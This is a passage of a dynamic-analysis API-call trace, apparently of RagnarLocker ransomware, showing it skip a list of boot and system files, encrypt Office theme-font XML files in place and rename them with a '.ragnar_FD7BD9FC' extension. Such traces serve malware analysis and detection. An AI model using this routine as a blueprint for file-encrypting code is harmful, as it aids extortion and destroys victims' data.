Fonts\\Grid.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.ragnar_FD7BD9FC" [0094.350] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.351] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0094.351] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.351] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Hardcover.xml" | out: lpString1="Hardcover.xml") returned="Hardcover.xml" [0094.351] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml") returned=".xml" [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="autorun.inf") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="boot.ini") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootfont.bin") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootsect.bak") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgr") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgr.efi") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="bootmgfw.efi") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="desktop.ini") returned 1 [0094.351] lstrcmpiW (lpString1="Hardcover.xml", lpString2="iconcache.db") returned -1 [0094.352] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntldr") returned -1 [0094.352] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.dat") returned -1 [0094.352] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.dat.log") returned -1 [0094.352] lstrcmpiW (lpString1="Hardcover.xml", lpString2="ntuser.ini") returned -1 [0094.352] lstrcmpiW (lpString1="Hardcover.xml", lpString2="thumbs.db") returned -1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.352] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml")) returned 0x20 [0094.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.352] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3849) returned 1 [0094.352] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.352] GetProcessHeap () returned 0x580000 [0094.352] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.352] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.366] VirtualAlloc (lpAddress=0x0, dwSize=0xf09, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.366] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.366] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.367] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf09, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf09, lpOverlapped=0x0) returned 1 [0094.367] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.367] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf09, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.367] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf09, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf09, lpOverlapped=0x0) returned 1 [0094.367] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf09, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.367] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.367] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.367] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.367] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.367] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.367] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.368] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.368] GetProcessHeap () returned 0x580000 [0094.368] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.368] CloseHandle (hObject=0x10c) returned 1 [0094.368] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" [0094.368] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.ragnar_FD7BD9FC" [0094.368] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.369] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0094.369] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.369] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Horizon.xml" | out: lpString1="Horizon.xml") returned="Horizon.xml" [0094.369] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml") returned=".xml" [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="autorun.inf") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="boot.ini") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootfont.bin") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootsect.bak") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgr") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgr.efi") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="bootmgfw.efi") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="desktop.ini") returned 1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="iconcache.db") returned -1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntldr") returned -1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.dat") returned -1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.dat.log") returned -1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="ntuser.ini") returned -1 [0094.369] lstrcmpiW (lpString1="Horizon.xml", lpString2="thumbs.db") returned -1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.369] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml")) returned 0x20 [0094.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.370] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3626) returned 1 [0094.370] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.370] GetProcessHeap () returned 0x580000 [0094.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.370] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.372] VirtualAlloc (lpAddress=0x0, dwSize=0xe2a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.373] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.373] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.373] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe2a, lpOverlapped=0x0) returned 1 [0094.373] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.373] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2a, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.373] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe2a, lpOverlapped=0x0) returned 1 [0094.373] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.373] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.373] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.373] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.373] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.373] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.374] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.374] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.374] GetProcessHeap () returned 0x580000 [0094.374] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.374] CloseHandle (hObject=0x10c) returned 1 [0094.374] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" [0094.374] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.ragnar_FD7BD9FC" [0094.374] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.375] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0094.375] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.375] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Median.xml" | out: lpString1="Median.xml") returned="Median.xml" [0094.375] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml") returned=".xml" [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="autorun.inf") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="boot.ini") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="bootfont.bin") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="bootsect.bak") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgr") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgr.efi") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="bootmgfw.efi") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="desktop.ini") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="iconcache.db") returned 1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="ntldr") returned -1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.dat") returned -1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.dat.log") returned -1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="ntuser.ini") returned -1 [0094.375] lstrcmpiW (lpString1="Median.xml", lpString2="thumbs.db") returned -1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.375] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml")) returned 0x20 [0094.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.376] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3821) returned 1 [0094.376] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.376] GetProcessHeap () returned 0x580000 [0094.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.376] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.378] VirtualAlloc (lpAddress=0x0, dwSize=0xeed, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.378] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.378] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.378] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeed, lpOverlapped=0x0) returned 1 [0094.378] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.378] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeed, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.378] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeed, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeed, lpOverlapped=0x0) returned 1 [0094.378] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.378] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.378] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xeed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.379] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.379] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.379] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.379] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.379] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.379] GetProcessHeap () returned 0x580000 [0094.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.379] CloseHandle (hObject=0x10c) returned 1 [0094.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" [0094.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.ragnar_FD7BD9FC" [0094.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, 